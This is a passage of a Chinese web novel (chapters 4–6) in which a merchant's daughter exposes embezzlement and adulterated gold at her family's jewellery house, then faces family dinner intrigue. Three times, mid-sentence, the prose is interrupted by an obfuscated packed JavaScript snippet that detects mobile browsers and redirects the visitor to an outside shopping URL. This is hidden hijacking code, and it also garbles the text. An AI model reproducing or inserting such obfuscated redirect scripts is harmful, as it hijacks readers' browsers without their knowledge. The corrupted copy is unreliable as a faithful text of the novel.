过了半盏茶的功夫,苏玉照才开口,她把目光落到二掌柜陈开信身上:“陈二伯,这事我只能拿你是问了。大伯伯一向只负责接待贵客,迎来送往事宜,陈三叔单管工匠师傅和伙计们,至于楼里的账务盘点,都是二伯你一直经管的,这两千两的谬差,你怎么解释,可别跟我说,你毫不知情。” 二掌柜陈开信面不改色,向前一步,从容道:“此事我自然知道,也是我批了条子让伙计去钱庄支领的。” 苏玉照还没说什么,李荣抢先斥道:“开信,这就是你不对了,你派人去支金锭,怎么不跟我说,我这账上记得可是六千两,你老实说,你多支的两千两哪儿去了?别是你私吞了吧。” 陈开信瞥了他一眼:“命人做成金首饰,前头楼里卖了。” “不可能,我这六千两跟前头楼里所卖金饰重量是对得上的,你分明胡说,肯定是你私自拿出去另卖了,没有入公账。”李荣怒道,“檀林拿你当亲兄弟,你怎么能这么坑他?” 陈开信冷笑一声:“李荣,你这话是问我呢?” 4. 第4章 李荣一愣,就见陈开信从旁边一个伙计手中拿过一个账本,递到苏玉照面前:“这是那两千两的账册,谁人支取,谁人打造,谁人检验,做了什么首饰,卖与了哪个府上,都记得明明白白,请姑娘过目。” 苏玉照接过来翻看,李荣好奇心起,也走到苏玉照身后跟着看,越看越眼熟,这跟他记得账,不是一模一样么,若非要找差别,也只是做首饰的工匠不同而已。 “开信,你扯谎也该走走心,你记的这些,别是从我的账本子上抄的吧。这几笔买卖,皆已经由吴云良和张俊川与买家交割明白,我账上记得清清楚楚,你如何又同买家做了一遭?”李荣大声质问道。 “哼,为何?”陈开信见他仍不知悔改,还在这里贼喊捉贼,气得一拳擂在他肩上,“还不是因为你们做出的金饰掺假掺杂,砸了我们‘万宝楼’的招牌!我为了给你们收拾烂摊子,只好重新做了足金的送去,又给人家赔了多少不是,你还在这里冲我大呼小叫的。我倒是想问你呢,檀林对你哪里不好,你这样害他?你成心是要‘苏记’倒了你才开心?” “你......你胡说什么?”李荣吓得心惊肉跳,说话都有些语无伦次。 陈开信气得发抖:“你还嘴硬。来人,把张俊川这两个月做的首饰头面都抬上来。” 不多时,五六个小厮抬着一个大木箱子进来,放到大厅中央,打开盖子,瞬间露出金光灿灿的满满一箱子。 李荣怔在当场,张俊川和吴云良都如遭雷击,没了魂儿似的呆若木鸡。 陈开信向苏玉照施礼道:“姑娘,这些都是我用足金首饰从买家那里换回来的,皆出自张大师傅之手,是否作假姑娘一验便知。” 苏玉照示意银屏从箱子里拿个首饰来给她瞧,银屏过去,取了个缠丝穿花臂钏回来,交给苏玉照。 苏玉照手上一沉,举起臂钏来细瞧,只见内圈刻着一个小小的“卍”字纹,这正是万宝楼的标识。 除此之外,万宝楼的每位大师傅,都有自己独特的暗标,刻在首饰上方便溯源。 这件臂钏上,“卍”字纹旁边还有一朵梅花。 万宝楼大师傅中,只有张俊川的暗标是梅花。 “呦,这还真是张大师傅做的。”苏玉照态度平和,笑着劝陈开信道:“二伯伯莫生气,荣叔也别恼,俗话说‘真金不怕火炼’,不如就烧一烧,自然真相大白。也许只是场误会也未可知。” 张俊川一下子就慌了,急得冲出来,护到箱子上:“不许烧,不许烧,这都是我呕心沥血,费了多少功夫做出来的,你们谁敢动,我跟谁拼命。” “张俊川,你昏了头了,少东家面前,岂容你放肆。”三掌柜陈开义命人把他押到一边,见他还是大喊大叫的,便拿麻布把嘴也堵上了。 李荣和吴云良想动,也被人按住了肩膀。 当下便有伙计把箱子中成堆的首饰,一件件丢到大坩埚里,架火添柴,美仑美奂的首饰头面转瞬间都化成金水,最后熔炼出二十几块儿馒头大小的金疙瘩,上称一称,只有一千四百多两。 陈开信看向李荣:“铁证在此,你还有何话说?” “我......我......”李荣张惶片刻,突然对苏玉照说,“玉娘,这都是吴云良和张俊川串通捣鬼,我只是如实记账,此事跟我毫无干系啊。” 苏玉照点点头,果然是“不见棺材不落泪”,于是扭过脸不再理他。 堂下陈开义已命人将吴云良绑了,与张俊川一并押在一旁。 “你还狡辩!”陈开信气极,几步上前,一把扯下张俊川口中的麻布,“你说,你们和李荣是不是一伙儿的?” 张俊川眼见着自己做的首饰头面一件件熔成金水,早已面如死灰,两眼直愣愣的,跟本听不见陈开信说什么,只知道他已身败名裂,这辈子都完了。 一旁的吴云良“噗通”一声跪下了:“少东家饶命,此事确实都是李荣的主意,我和张俊川都是听了他的蛊惑,财迷心窍。求少东家开恩,千万不要将我送官。这是李荣给我的一百两银票,请姑娘收了,除此之外,我真的再没贪墨一文了。” “那分明是你自己的脏银,怎能赖到我头上。”李荣道,“你有什么证据证明这银票是我给你的,上边又没写我的名字。姑娘不要听他胡说八道,他自己做的好事,想赖到我头上让我顶缸,他好金蝉脱壳,姑娘千万别上他的当。” 吴云良难以置信地看着李荣,气得紫涨了脸,却无话可说。 银票是李荣背地里给他们的,只有张俊川能作证,可张俊川正是罪魁,他作的证也没人信。 “我能作证。”苏玉照起身来到吴云良面前,突然勾唇道,“李荣给你银票,是我亲眼所见,亲耳所闻,我不但知道他给了你一百两,还知道他也给了张俊川一百两。” 说着冲张俊川一指,押着他的小厮会意,立刻在他身上翻了起来,果然在张俊川怀中搜出一张一百两的银票,小厮将吴云良手中那张银票一并取了,呈到苏玉照面前。 苏玉照只淡淡看了一眼,一旁的金环接了过去。 李荣这才慌了:“这真不是我给他们的,玉娘,你信荣叔,是他们伙同二掌柜,要给我泼脏水,分明是他们看我不顺眼,觉得我和他们不是一路的,出这歹计,要把我从总账房的位置上挤下去。玉娘,你别被他们骗了。” 苏玉照乜斜着李荣,声音冷了下去:“今日午间,你们三人在酒楼,如何分赃,如何结盟,如何谋算另起炉灶,我都听得清清楚楚,若非为了揪出你这个主谋,我早将他两个擒了,岂会容你们到今日。先前你早早认了,我还敬你是条汉子,结果看来,你竟是个缩头乌龟,死道友不死贫道的真小人,他们两个也算是眼瞎,跟错了人,真真是令人可怜又可笑。” “玉娘,我错了,你好歹饶我这一遭。”李荣终于服软,“玉娘,荣叔给你跪下了,你看在檀林兄面上,我们兄弟一起打拼这么多年,好容易才有今天,你给荣叔留条活路。”说着便磕头。 苏玉照侧身避开:“李荣,若你单单只是偷金倒还可恕,但你千不该万不该,不该将这些掺杂不纯的首饰,当成足金的卖出去。趟或二掌柜没发觉,待日后再让人家查出来,‘苏记’几十年积累下来的信誉,就会毁于一旦。哦,你自然不怕的,到那时候你早自立门户去了,苏记是死是活,又与你何干呢?所以你也不必如此,我也不能饶你,我说过,查出来是要送官的,有求我的功夫,你还是想想怎么去府衙疏通疏通吧。来人,拟状纸,报官吧。” 三人仍求饶不休,被陈开义堵了嘴,命人押了下去。 苏玉照重新归坐,扫视众人一圈,缓缓道:“诸位师傅,万宝楼的生意,在京城不说首屈一指,也是行内翘楚,能有今日的繁荣,全赖各位勤勉劳碌,我和父亲都看在眼里,铭记心上,只要你们能忠诚不二,我必不相负,但若再有背主之事,李荣几人就是例子。” 众人都躬身施礼:“少东家放心,我等必兢兢业业,不敢懈怠。” “好。”苏玉照道,“自今日起,诸位的薪俸每两年涨一成,若是生意好,逢年过节另有赏赐。” 众人闻言都喜上眉梢,掰着手指头算自己的月钱:“哎呀,多谢少东家,前世修来多大的福分,才能跟到您这样大方的主家,咱们真是好造化。” 苏玉照抬手:“且不忙谢我。我还要叮嘱你们一件事,既涨了月例,那些暗地里偷偷摸摸的小伎俩,就一概免了吧,再莫说是什么这一行不成文的规矩,不管别的地方怎样,在我‘苏记’,没有这样的规矩,你们可记下了?” “是,是,这是自然,我们都记下了。” 苏玉照:“好了,都各自去忙吧,我再略坐坐就回去了。” 待众人都散了,三位掌柜陪着苏玉照来到前楼,一层层上去,边走边大致瞧过一遍。 一楼连着大堂,专卖金银首饰头面,各种样式的累丝凤钗、攒花宝簪、点翠华胜、流苏步摇,还有金镯、戒指、臂钏、领扣、璎珞、腰佩,分门别类的摆放在博古架上的紫檀木锦盘中,供客人挑选。 二楼则是卖玉石珍珠、外国舶来的红绿蓝紫各色宝石,以及珊瑚、琥珀、玳瑁、琉璃等各种材质的饰品。 三楼定制各色玩器摆件,小到七件事儿、手把件、金银香球儿,大到炕瓶、屏风、白玉碟、琉璃盏,应有尽有。 四楼摆的都是珍藏的精品首饰,比如油润无暇的和田羊脂玉镯,再比如华丽繁复的重楼子凤冠,要么材质稀缺,要么手艺一绝,都是别家买不到的珍品,价值连城。 五楼不卖东西,是东家和几个掌柜办公理事的地方,也是有贵客来了用以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371001|199901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 招待的场所。 苏玉照径直蹬阶来到五楼,这里专门有她的一间房间,几人进了屋,分次序坐了。 金环、银屏忙把窗子打开,点上木樨冰片香,又将花肆新送来的菊花挑了几盆搬进来供到几案上,特意放了一盆“鹅毛粉黛”在苏玉照手侧的桌子上供她赏玩。 苏玉照:“你们也忙了一天了,到西间屋里歇歇吧,我同掌柜们说几句话。” 金环、银屏福了福身,便退到屏风后,在绣凳上坐了。 大掌柜陈开德道:“幸亏姑娘英明决断,终于把这个毒瘤连根拔出,既惩治了贼首,又竖了威信,还收了众人的心,可谓一箭三雕。不是老朽奉承,便是老爷在家,也未见得有姑娘这般雷厉风行,可见咱们‘苏记’未来可期。” 苏玉照笑道:“大伯伯都要给我夸出花儿来了,还说不是恭维,要不是有几位叔伯相佐,我自己一个人也不能把他们拿下马来。我还得多谢你们呢,李荣与我父亲一向交好,要是父亲在家,说不定就心软放了他。等父亲回来,知道我如此惩治,恐怕还会生气,到时候几位叔伯还得帮我描补描补,陈明厉害。” 陈开信道:“这有什么的,姑娘把心放到肚子里,檀林最明事理的,岂能不知道这里头孰轻孰重。” 苏玉照点点头。 陈开信又道:“如今李荣去了,他这个总账目的位置空悬,楼里每日财务进出,总也离不了的,姑娘看看名册,寻个老实又机敏的补上吧。” 苏玉照思忖片刻:“二伯派人去钱庄支银子时,账目是谁记的,我看着倒记得清楚明白,字写的也极好。” “哦,我怕走漏消息,自己心中默记了,从外头寻了个写字先生帮忙誊录的。”陈开信道。 苏玉照问:“从哪儿寻的?” “就在咱们楼对面,吴家成衣铺门脸旁边,是个摆摊卖字的年轻书生,才来没多久,所以姑娘没见过。” “哦,这倒罢了,咱们楼里的买卖,还是用知根知底的人才好。二伯看谁好,就先让他代笔吧,等我慢慢再找合适的。”苏玉照道,“金环、银屏以后会每日来查一遍账,有不妥的速来回我,我闲了无事,也会过这边来。” “是。”几人都应诺。 苏玉照道:“时辰不早,我也乏了,你们回吧,我过一会子自己回府就是。” 三个掌柜答应着出去了,苏玉照透过西窗看向外面,只见晚霞漫天,秋色洇洇,让人颇有荡气回肠之感。 兴致上来,便也来至西间,侧身坐到临窗的贵妃榻上,手臂搭在窗边,眺望远处的雾霭流岚。 金环、银屏没有打扰,只端来一盒各色精致点心,并暖了一小壶葡萄奶酒,放在榻边,便悄悄退在下首,凭苏玉照自取自食。 黄昏苦短,苏玉照才吃了两盅酒,展眼间已是金乌西坠,晚霞也变成丝丝缕缕的青黛色。 万宝楼下车水马龙,做买卖的正在收摊,出来逛集市的人们也收拾着准备归家,只有做晚食的店门前热闹,有些人逛了一天懒怠回去生火烧饭,便从店里买了现成的酒菜带走。 看够了风景,苏玉照便低头看人,不期然瞥见一个身影,正站在街对面,闷头收拾一张桌子上的笔墨纸砚。 纵是如此居高临下的角度,也能看清那人身姿挺拔,如松如竹。一身青蓝直裰,在熙熙攘攘的人群中显得格外沉静。 只可惜离得太远,看不清样貌。 苏玉照站起身,踩在贵妃榻上往外探头,金环、银屏连忙上来拉住:“我的祖宗,仔细跌了脚摔个倒栽葱,小命不保。” 苏玉照手指着窗外:“你们帮我看看,那个书生长得俊不俊?” 金环、银屏也低头看了一回,不由好笑:“姑娘又不是孙猴子,难道会火眼金睛,离得这么远,都看不清眉毛鼻子,哪里就知道俊不俊了?” 苏玉照从贵妃榻上跳下来,冲二人一挥手:“走,这里看不清,咱们下去瞧。” 说着便风风火火地往楼下跑。 金环、银屏只得跟上,一边追一边说:“姑娘慢点,小心崴了脚,不是顽的。眼见都十七八岁了,不说该避嫌,遇见个俊秀郎君,还是这么着,整日厮混,日后如何找婆家呢。” 苏玉照回头笑道:“找什么婆家,我找个赘婿,给你们娶回苏家做姑爷,不好么?” 5. 第5章 金环、银屏都臊了个大红脸:“姑娘又浑说,便是你真这样想,老爷夫人也必不肯的。前儿我还听夫人说,等姑娘出嫁,这整个‘万宝楼’都给姑娘做嫁妆呢。” 苏玉照在楼梯口刹住脚,无奈地叹了口气:“爹娘就是迂腐古板,虽拿我当男儿养,真到婚姻大事上,还是觉得我终究得嫁出去。我们苏家的产业,做什么便宜了外姓人。正经的我寻个长得好看,又老实听话的小郎君,养在家里充充门面,不过多费几两银子,楼里的生意我自会料理。等过一二年,再生个孩子,让他在家相妻教子,爹娘也能安享天伦之乐,一家人一辈子吃穿不愁,富贵平安,还有什么不知足的。” 金环笑道:“姑娘小声些,好不知羞,成亲生孩子的事,也是能大庭广众吵嚷的。” 苏玉照倚在栏杆上,不以为然地撇撇嘴角。 金环又道:“夫人倒不是顽固不化,只是咱们家虽有些恒产,但到底是商贾,只富不贵,恐不能长远。如今虽借着二老爷的势,姑娘还能跻身在王侯贵戚内眷之中,和那些官宦夫人、千金小姐常来常往的,若不趁此将大事早早定下,等日后二老爷家两位小姐都出了阁,二太太也就没多少心思带姑娘们出去交际了。到那时,再想得贵婿,就更难了。” 苏玉照听了这话更气恼,摆了下手道:“你快休提这个,我和那些人来往,为的是楼里的生意,难道是为了婚事不成?你没见因了这个缘故,我爹娘在二叔一家面前,就矮声下气的,不但让二婶婶掌家,家里正房也让给了二叔居住,说什么他为官做宰的,难免应酬多,总要有个气派威风的会客处,他是气派威风了,咱们自己却委屈到东跨院去住。还有家里的吃穿用度,往来客礼,佣人的月例银子,哪处不是咱们出钱,一年大几万的银子填进去,连个响儿都没有。何苦来,我又不是没人家要,巴巴地指望二婶儿给我找婆家?” “可怜天下父母心。”金环叹道,“夫人也是希望姑娘有个好归宿。” “若有好的,二婶婶还要紧着自己家两个女儿呢,哪里会想到我,不过是借着这个由头,白使我家的银子罢了,凭我怎么劝,母亲就是不肯听。”苏玉照摊手,“放着好日子不过,难道非要把我嫁到高门公侯家去,任人磋磨才肯罢休。” 一直听着她们说话的银屏“噗嗤”笑了一声,“姑娘快莫说笑,京城里哪家公子没听过姑娘的威名,整日里一起打马游街、射箭投壶的,都互相熟稔,无论嫁到哪家,谁还敢给姑娘气受不成。” “是啊,我本来就跟各府里相熟,无论公子管事,还是小姐嬷嬷,我哪个不认识?”苏玉照道,“所以说,‘万宝楼’的生意,都是靠咱自己维系的人脉圈子,又不是靠着二婶婶牵线搭桥,何必这么供着他们,照我说,不如早日分家的好。” 金环劝道:“终究不一样,有二老爷在,说出去姑娘就是官宦人家的小姐,又有百万钱财傍身,谈婚论嫁媒人也会尽捡着好的来说。若真分了家,怕是要跟二房撕破脸,倒那时,二老爷不肯认亲,小姐名义上就只是商贾出身,身份上就落了一等,够不上世宦大家,难道要嫁个破落户不成?老爷、夫人巴结着二老爷一家,全都是为了姑娘的前程,姑娘也该体谅一二,莫要执拗,白惹得老爷生气,夫人又伤心。” 苏玉照不忿道:“我何尝不知道他们是为了我,所以日常在家,装也装出个亲亲热热的样子来,可这什么时候是个头呢,便是我听她们摆布,乖乖嫁为人妇,到时候还是要倚仗娘家,难道要爹娘供养那一大家子一辈子不成?” “就是,我也觉得姑娘还是招赘婿的好。”银环道,“京城那起子膏梁纨绔败家子儿,金玉其外败絮其中,我这几年冷眼瞧着,没一个好的,一起吃酒玩乐还好,若真嫁给其中一个,便把姑娘白白糟蹋了。” “呸,没脸没皮的小蹄子,怎么就没好的?若这些世家公子里都挑不出好的,姑娘去招婿,就能招到好的了?”金环啐她道,“一般什么样的人家,才舍得让自己儿子去当赘婿?要么穷的吃不起饭,要么无才无德狂饮烂赌,更有甚者眠花卧柳下流浪荡。所看中者,不过是姑娘的美貌和苏家的钱财。姑娘想要老实听话的,哪有那么容易,就算有,只怕是装的,等将来有了孩子得了势,还不知怎么样呢。你没听过还有什么三代还宗的呢,两口子都七老八十,黄土都没到头顶了,爷爷还威逼着儿子孙子改姓呢。” “哎呦,好金环,我知道你为我好。我既然要招婿,自然也要好好挑一挑,头一件得自己喜欢,再者他也得对我一片真心。即便是装的,那他最好夹起尾巴装一辈子,不然我定是要和离,将他扫地出门的。” 苏玉照挽着她的胳膊哄道,“人生在世,好歹只活一辈子,自然要按自己的心意。若没这么个人,我便不成亲,又能如何呢?至于百年之后,我两眼一闭,管他还宗不还宗呢,古来多少世家大族、皇权王朝,也有兴替的时候,何况我家这么个小小的金楼?只我活着的时候,它能屹立不倒,就算造化了。” “姑娘又说这种话,我总听不懂。”金环道,“谁不盼着自家好,长长久久的富贵平安呢。” 苏玉照懒得解释,忽然想起自己是要下楼去瞧人的,忙提裙奔下楼梯,及至万宝楼大门外,街道上已经行人寥寥,往对面的“吴记成衣铺”望去,只有一个老翁在往店里搬桌子,哪儿还有什么小郎君。 “哎呀,都怪你,只顾拉着我说话,倒混得我忘了正事。”苏玉照笑着在金环鼻尖儿刮了一下。 金环笑道:“瞧男人算什么正经事,姑娘该记我大功一件,今儿保住了姑娘大家闺秀的清誉。” 苏玉照笑着不理她,穿过街巷,叫住正要掩门的老翁:“吴伯,方才是不是有个写字先生在你门前摆摊儿来着?” 吴掌柜见是她,热络地打招呼:“哦,苏大姑娘,今儿来楼里玩啊。倒是有个写字先生,来了大半个月了,看着咱们这条街人多热闹,跟我说情,要赁我门前一块地方,摆摊卖字,原说一月给我一百钱,我见他是个年轻后生,又是个读书人,出来讨生活不容易,便不要他的钱,又借给他桌子凳子。谁知他往我门前一坐,竟有许多大姑娘小媳妇,借着来我店里买衣服量布,偷偷拿眼瞧他,倒让我店里生意好了不少,可知做人是要行善事结善缘的。怎么,苏大姑娘是要买字啊,对联还是匾额,留下我明天让他一早来了写好,给送到楼里去。” 苏玉照含笑摇头:“那倒不必,我是想给家父写封信问平安,内容太长也不便转述,既然他明日还来,我明日再寻他就是。” “对对,既是家书,的确不便转达。”吴掌柜点头说着便要关门。 苏玉照突然按住门环,往前悄声问道:“哎,吴伯,你为什么说有好多女子来偷偷瞧他,那写字先生长得很俊?” 吴掌柜一拍手,笑道:“那自然是极清俊的,据说已过了乡试,入京来以待明年春闱的,虽眼前落魄,日后前程却不可限量呢。更难得的是他身上那种文人气韵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371002|199901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,老朽也形容不出,姑娘明日来瞧了便知。” 辞别吴伯,已是暮色四合,苏玉照便吩咐车马,带着金环、银屏回苏府。 此时路上已没什么人,车夫便擎鞭子在马背上轻轻一抽,让马匹放开步子跑得更快些,晚风不时吹起窗帘,街道两侧的店铺行人飞快向后掠去。 苏玉照索性让银屏把帘子卷起来,自己靠在窗边,百无聊赖地往外看。 转过一个拐角,忽然一道颀长人影从眼前一晃而过,苏玉照视线瞬间被吸引,不由向后望去。 她一眼认出,那人正是楼下的写字先生,一身半旧的青蓝长衫,飘带束发,背着个书篓,里头有几轴宣纸,几支毛笔。 马车从他身畔驶过,那书生愣了一瞬,停下脚步抬头看了一眼,面上没甚表情,半低下头继续赶路。 苏玉照却看清了他的容貌,面白似冷玉无暇,凤眸若寒潭微漾。她也明白了吴伯为何夸他气韵,当真如竹风浩浩、松雪涛涛,明月迢迢、君子昭昭。 膏梁纨绔和市井无赖苏玉照都见得多了,却还未见过这样清净无尘的男子,况又长得如此绝色姿容,不由又拧身转到后窗,撩开窗帘多瞧了几眼,直到马车又拐了个弯,这才收回目光。 这期间那男子一直垂眸看路,仿佛不知道有人盯着他瞧似的,十分守礼。 苏玉照对此愈发满意。 “到家了,姑娘笑什么呢?”银屏推她道。 苏玉照回神,摸了摸自己的脸:“胡说,谁笑呢。”说罢也不管她们两个,自己跳下车,先从东角门进了东跨院,去给崔夫人请安。 崔夫人闺名圆圆,也是富商之女,祖籍金陵,崔夫人其父与苏玉照的祖父乃是结拜兄弟,崔夫人和苏檀林也是青梅竹马的情谊,待长大些稍解人事时,两家一拍即合给他们二人定了亲。 两人成亲不久,苏家老二苏柏川金榜题名,在官场里步步高升,苏家也因此光耀门楣,便举家从金陵搬来京城。 后来崔夫人父母相继离世,崔家又无旁枝别系,崔夫人便将家中铺面都折卖了现钱,在京郊置了些田产,全当傍身。 苏玉照进屋的时候,崔夫人正带着丫头们裁鞋样子,见她回来,便放下小银剪子,笑着拉她坐到身边,揽在怀里:“怎么这么晚才回来,用过饭没有?” 苏玉照靠着她的肩膀撒娇:“只吃了两块云片糕。娘在家做什么呢?” 崔夫人往桌子上努嘴:“往前重阳节,你父亲又不在家,我想着做双鞋当节礼,孝敬给老太太。” 苏玉照拿起鞋面看了眼,只见松底弹墨的绸面上绣着五蝠捧寿团纹,十分精巧:“母亲又熬心费神的做这劳什子干什么,不拘从哪个店里买两双来,送去也就罢了。” 崔夫人道:“既是孝心,哪有假手于人的。” 苏玉照道:“我今儿已经买了一百盆名品菊花送到福安堂去了,母亲就算不再送别的,祖母也挑不出咱们的错儿来。” “已经快做好了,绷上底子就能穿。”崔夫人笑道,“你不用管这些小事,走吧,咱们先去给老太太请安去。” 苏玉照诧异:“怎么不吃了饭去?” 崔夫人道:“你二婶婶方才遣了人来请,特叫往那边去吃。” “哼。”苏玉照冷笑,“她哪里是叫我们去吃饭,分明是找我们要钱的。” “人家特意来请,我也不好拂她的意,且去了再说,若要钱,咱们掂量着给些就是了。” 6. 第6章 崔夫人拍拍她的手,拉着她出屋门。 东跨院和正院间隔着一道墙,为了方便往来,便在墙上开了个月洞门,日常有婆子值守。 从月洞门走进正院,沿着抄手游廊向北一转,就是垂花门,进去先是苏柏川夫妇的屋子,再往北才是老太太居住的福安堂。 二人带着丫鬟婆子一路走来,刚走到福安堂前,就见一个男子从屋里踱步出来,两厢遇上,皆驻足施礼避让。 “二叔万福。”苏玉照是小辈,先行了礼,“您不是奉旨南下巡查了吗,几时回来的,可是公干办完了?” 苏柏川向崔夫人抱拳打了个躬:“多日不见,嫂嫂一向可好。” 崔夫人也略屈膝颔首,并未说话。 苏柏川直起身,又对苏玉照笑道:“玉娘出落的愈发亭亭玉立了。我今儿午后刚到家,先来给母亲请安,说了会子话,本来要去给大哥嫂嫂请安,偏我回来,大哥又不在家,这一二年间,我们兄弟三个竟总不能聚齐,实在叫人伤怀。” 苏玉照道:“这有什么的,我爹爹最迟到年底必回来的,到时候再请叔叔们吃酒。今日二叔归家,该摆宴给二叔接风洗尘的,我这就进去,回明了祖母,帮着二婶婶置办两桌席面。” 苏柏川笑道:“嫂嫂你看,还是玉娘最懂事,不像她几个妹妹,一见我回来,只问给带了什么礼物,连道乏也不会说一声。” 崔夫人道:“玉贞,玉明还小呐,女孩儿家不可苛责太过。” “嫂嫂说的是。”苏柏川恭谨道,“母亲也说晚上一家人聚聚,我这就先找老三去。” 苏柏川口内虽如此说,脚下却不见挪动。 崔夫人蹙了蹙眉,正要从他身旁过去,就见苏柏川的夫人郑氏带着人从屋里笑迎出来:“哎呦大嫂、玉娘,你们来了,怎么不进屋来,只站在黑灯影儿里做什么。” 苏玉照抢先迎上去,挽着郑夫人的胳膊道:“就要进屋来的,只是碰到二叔,少不得问安。一大帮婆子丫头跟着呢,我又不怕黑,二婶婶放心。” “快进来吧,老太太等着呢。”郑夫人口内说着,却皮笑肉不笑地白了苏柏川一眼,“老爷快去请三爷吧,再晚了他又吃醉了酒,不知宿在哪里了。” 苏柏川自觉无趣,转身走了。 她们妯娌进了屋,只见老太太严氏正歪在西暖阁的罗汉床上,老三媳妇姜氏和几个姊妹也都在,正围坐着说笑。 论起来,苏家人丁也算兴旺,只有老大苏檀林一这一脉单薄些,两口子年近不惑,膝下也只有苏玉照一个女儿。 老大苏檀林又不是严老太君的亲生儿子,他原是苏老太爷的原配夫人陈氏所出,长到两岁时吴夫人仙逝,苏老太爷来年又续弦了严氏。 那时苏檀林还未记事,陈氏去了着实哭闹过一段时日,只嚷着要娘,后来就忘了。从此便由严氏教养长大,只拿严氏当作亲母孝敬。 严氏后来又生了两子一女,老二苏柏川是老太君的心头肉,他又争气,年纪轻轻就中了举,被内阁首辅郑大人看中,将家中小女郑雁书许配给他,从此在官场如鱼得水,平步青云。 唯一让严氏不悦的,就是郑夫人连生了两个女儿郑夫人又是个拈酸吃醋的,仗着娘家的势,把持着丈夫不许纳妾,以至二房同大房一样,至今后继无人。 严老太君为此日夜忧心,大房没儿子她是不管的,反而乐见其成。 玉娘眼见到了出阁的年纪,等苏檀林夫妇百年之后,一应家产还不都是自己亲儿子亲孙子的。 可二房空悬她心中是极不满的,但只碍于郑家的权势,她也不好明着怎么样,只能暗地里挑唆儿子,教他偷偷娶个外室养在外头,等生了儿子再接进府来。 凭她姓郑的再怎么嚣张跋扈,总不能不让他苏家的子孙认祖归宗吧。 严氏盘算得好,可惜苏柏川是个性子执拗的,她几次三番提起,老二都充耳不闻,逼得紧了还嫌她聒噪,越发躲着她,连请安都不怎么来了。 好在郑氏现在又有了身孕,虽还未显怀,也已有三个月,坐稳了胎气。严氏只盼着这胎能生个孙子,就算圆满了。 至于老三苏桦山,因有大哥挣来的金山银山,又有二哥的权势庇佑,出门到哪儿人们都尊称一句苏三爷,他便耽于享乐,文不成武不就。不过他媳妇姜慧娘倒争气,一连生了三个儿子,两个大的已开蒙入学,最小的这个才刚蹒跚宣布。 苏桦山自觉面上有光,腰杆子也硬起来。逢人常说,他虽没甚大本事,但大哥二哥家一群黄毛丫头,未来苏家的产业和门楣,少不得还是要靠他家这一枝儿,于是众人对他愈发奉承,拿好话哄着他做东请客。 此外,严老夫人还有一个幺女,闺名苏桂枝,比苏玉照大只五六岁。前几年出了阁,高嫁进伯爵府刘家,世族规矩大,除了逢年过节,苏桂枝平日不怎么回来。 苏玉照跟着崔夫人给严太君请过安,便坐到姊妹们旁边。 郑氏端来个果碟儿,里头放着新鲜带叶儿的柑橘,摆到苏玉照面前,笑道:“大嫂和玉娘尝尝,这是你二叔从岭南带回来的,截了整条枝,又用沙土埋了一路,才刚摘下来洗干净的,只图吃个新鲜吧。” 苏玉照欠身让道:“祖母和妹妹们吃吧。” “我们都尝过了,这些是给你们留的。”郑氏笑道。 苏玉照谢道:“这新鲜柑橘实不易得,想来是二婶婶害口,二叔特意给婶婶带的,我们也跟着沾口福了。二叔忙于公务,还不忘给婶婶带吃食,可见是时时记挂着。” 郑氏红了脸:“嗐,我早好了。起先他临出门时,我不过提了一嘴,说口苦,想吃点酸甜的,偏他就当真了,大动干戈的又生事。” 严母听了喜道:“我生柏川时也是害酸,这可是个好兆头。雁书你快也坐吧,仔细久站动了胎气。” 郑氏一面坐一面道:“便再来个女儿,若有玉娘这般出息,我也喜欢,可别像她两个姐姐,诸事不通,只知道贪玩贪睡,叫人操心。” 严母一听便沉了脸,又不好说教她一个有身子的人,只得自己生闷气。 崔夫人在一旁道:“贞儿、明儿听话乖巧,琴棋书画各有所长,又擅针线刺绣,这才是大家闺秀的体统,弟妹把她们教得这样好,怎么还不知足呢。” 郑氏道:“比起别家一般的姑娘来,她两个也算是懂事的,只是比不上玉娘,能独当一面,替大哥大嫂分忧。” 崔氏笑道:“你快休提,她还替我们分忧呢,只会给我添愁罢了。没见前儿我让她绣个鸳鸯枕面,拿针戳弄了半日,便不耐烦扔到一边,我取来一看,竟是两只肥鸭子,配色花花绿绿,线扯的乱七八糟,像猫挠出来的。人又轻浮,总不着家,真真叫人气恼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371003|199901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。等日后到了婆家,得立多少规矩才改呦。” 听着她二人互谦,苏玉照和玉贞、玉明互相对视一眼,均面露苦色。苏玉照拿了两个柑橘分给二人,三姊妹闷头默默剥橘皮,谁也不说话。 只有儿子没女儿的姜氏插不上话,乐得坐在一边磕着瓜子看她们磨牙。 